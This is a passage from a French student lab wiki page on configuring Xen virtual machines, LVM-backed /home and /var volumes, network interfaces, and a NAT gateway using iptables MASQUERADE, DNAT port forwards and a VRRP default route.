Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter nos volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher nos volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM de service (serveurs) ====&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM mandataire (gateway) ====&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne&lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Explication simple ====&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; (IPv4 privé)'''&lt;br /&gt;
** IP privée &amp;lt;code&amp;gt;192.168.3.2/27&amp;lt;/code&amp;gt;&lt;br /&gt;
** passerelle &amp;lt;code&amp;gt;192.168.3.1&amp;lt;/code&amp;gt; = l’IP du mandataire sur le réseau privé  → Tout trafic IPv4 “vers Internet” part au mandataire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; (IPv6)'''&lt;br /&gt;
** &amp;lt;code&amp;gt;inet6 auto&amp;lt;/code&amp;gt; = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6  → La VM est accessible directement en IPv6, sans passer par du NAT.&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
* eth1 (public) :&lt;br /&gt;
** IPv4 public 193.48.57.165/27&lt;br /&gt;
** gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
* IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
&lt;br /&gt;
=== Du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; Xen → aux interfaces &amp;lt;code&amp;gt;ethX&amp;lt;/code&amp;gt; dans la VM ===&lt;br /&gt;
&lt;br /&gt;
==== Côté Xen (Dom0) : tu déclares des VIF ====&lt;br /&gt;
Dans le fichier de config Xen de ta VM, tu as un truc du style :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Interprétation :'''&lt;br /&gt;
&lt;br /&gt;
* Tu crées '''2 cartes réseau virtuelles''' (2 VIF) pour la VM.&lt;br /&gt;
* Chaque VIF :&lt;br /&gt;
** a une '''MAC''' (pour l’identifier)&lt;br /&gt;
** est branchée sur un '''bridge''' Xen/Linux (un switch virtuel)&lt;br /&gt;
&lt;br /&gt;
Donc en mode “câblage” :&lt;br /&gt;
&lt;br /&gt;
* VIF #1 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
* VIF #2 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Dans la VM (DomU) : ces VIF apparaissent comme &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, … ====&lt;br /&gt;
Quand la VM boot :&lt;br /&gt;
&lt;br /&gt;
* Xen “présente” ces VIF à l’OS invité&lt;br /&gt;
* l’OS les voit comme des interfaces réseau classiques&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* '''la 1ère VIF''' devient &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''la 2ème VIF''' devient &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
⚠️ Petit point important : le nom exact peut dépendre de l’OS (Debian peut utiliser &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; ou des noms type &amp;lt;code&amp;gt;ens3&amp;lt;/code&amp;gt;), mais '''dans ton TP tu es bien sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;''', donc on garde ça.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
ip addr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Tu verras &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; et leurs MAC. Tu peux matcher avec celles du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Le bridge Xen = “le switch” auquel la carte est connectée ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=pont_Gercourt&amp;lt;/code&amp;gt; : réseau '''privé IPv4''' entre nos VMs (commutateur virtuel interne)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;) : réseau '''public / infra école / Internet'''&lt;br /&gt;
&lt;br /&gt;
Donc, si ta VM a :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt; → elle est sur le réseau privé&lt;br /&gt;
* &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; → elle est sur le réseau public&lt;br /&gt;
&lt;br /&gt;
C’est exactement pour ça que dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; tu mets :&lt;br /&gt;
&lt;br /&gt;
* IPv4 privé sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* IPv6 (direct) sur &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi les services sortent en IPv4 via “Masquerade” (NAT) ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème IPv4 ====&lt;br /&gt;
IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.&lt;br /&gt;
&lt;br /&gt;
Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.&lt;br /&gt;
&lt;br /&gt;
==== La solution historique : NAT / Masquerade ====&lt;br /&gt;
On met les machines en '''IP privées''' (ex : &amp;lt;code&amp;gt;192.168.x.x&amp;lt;/code&amp;gt;), et une machine (le mandataire) “traduit” :&lt;br /&gt;
&lt;br /&gt;
* en interne : &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; (service)&lt;br /&gt;
* en externe : &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&lt;br /&gt;
Donc vu d’Internet, '''tout sort avec l’IP publique du mandataire'''.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) ===&lt;br /&gt;
IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà du “trillions” d'adresses).&lt;br /&gt;
&lt;br /&gt;
Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.&lt;br /&gt;
&lt;br /&gt;
Conséquence :&lt;br /&gt;
&lt;br /&gt;
* pas besoin de NAT&lt;br /&gt;
* la VM est joignable directement (avec firewall bien sûr)&lt;br /&gt;
&lt;br /&gt;
Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.&lt;br /&gt;
&lt;br /&gt;
=== VRRP : c’est quoi cette gateway &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; ? ===&lt;br /&gt;
&amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; = '''IP virtuelle VRRP''' portée par '''deux routeurs''' (redondance).&lt;br /&gt;
&lt;br /&gt;
* routeur A : &amp;lt;code&amp;gt;...163&amp;lt;/code&amp;gt;&lt;br /&gt;
* routeur B : &amp;lt;code&amp;gt;...164&amp;lt;/code&amp;gt;&lt;br /&gt;
* IP VRRP : &amp;lt;code&amp;gt;...162&amp;lt;/code&amp;gt; (celle que tu mets en gateway)&lt;br /&gt;
&lt;br /&gt;
Avantage :&lt;br /&gt;
&lt;br /&gt;
* si un routeur tombe, l’autre reprend l’IP VRRP&lt;br /&gt;
* nos machines ne changent pas leur config, ça continue de router&lt;br /&gt;
&lt;br /&gt;
Si tu mets directement &amp;lt;code&amp;gt;.163&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;.164&amp;lt;/code&amp;gt; en gateway :&lt;br /&gt;
&lt;br /&gt;
* tu forces l’utilisation d’un routeur précis&lt;br /&gt;
* tu perds la redondance (si celui-là tombe, plus de sortie)&lt;br /&gt;
&lt;br /&gt;
=== MASCARED D'IP ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème ====&lt;br /&gt;
VM de service sont en '''IPv4 privé''' (ex: &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Ces adresses '''ne sont pas routables sur Internet''' (elles n’existent pas “officiellement” sur le réseau public).&lt;br /&gt;
&lt;br /&gt;
Donc si une VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; envoie un paquet vers Internet (ex: &amp;lt;code&amp;gt;8.8.8.8&amp;lt;/code&amp;gt;), le monde extérieur ne peut pas répondre directement à &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → c’est une adresse privée.&lt;br /&gt;
&lt;br /&gt;
'''La solution : NAT sortant (Masquerade)'''&lt;br /&gt;
&lt;br /&gt;
La machine '''mandataire''' (Rosemonde dans mon cas) joue le rôle de '''gateway NAT''' :&lt;br /&gt;
&lt;br /&gt;
* '''En interne''' : les services parlent en &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''En externe''' : le mandataire remplace l’IP source par '''son IP publique''' (ex: &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc vu depuis Internet, tout semble venir de &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; :&amp;lt;blockquote&amp;gt;“Quand un paquet sort vers Internet depuis le réseau privé, réécris son IP source avec l’IP publique du mandataire.”&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
Le NAT n’est pas “juste une règle”. Ça marche avec un système d’état appelé '''conntrack''' (suivi de connexions).&lt;br /&gt;
&lt;br /&gt;
Exemple : la VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; fait un &amp;lt;code&amp;gt;apt update&amp;lt;/code&amp;gt; vers un serveur public &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La VM envoie :&lt;br /&gt;
&lt;br /&gt;
* source = &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
* destination = &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;&lt;br /&gt;
Le mandataire applique &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; en sortie (POSTROUTING) :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt; (port éventuellement modifié)&lt;br /&gt;
Le mandataire enregistre une “table de correspondance” (conntrack) :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt; ↔ &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;&lt;br /&gt;
Quand la réponse revient de &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt; vers &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;,  le mandataire “dé-NAT” automatiquement et renvoie vers :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le NAT permet à '''plusieurs machines privées''' de partager '''une seule IPv4 publique''' grâce à :&lt;br /&gt;
&lt;br /&gt;
* réécriture d’IP&lt;br /&gt;
* réécriture de ports (PAT)&lt;br /&gt;
* suivi d’état (conntrack)&lt;br /&gt;
&lt;br /&gt;
==== Lire un fichier iptables &amp;lt;code&amp;gt;/etc/iptables/rules.v4&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generated by iptables-save v1.8.9 (nf_tables) on Thu Jan 22 18:31:33 2026&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
COMMIT&lt;br /&gt;
# Completed on Thu Jan 22 18:31:33 2026&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
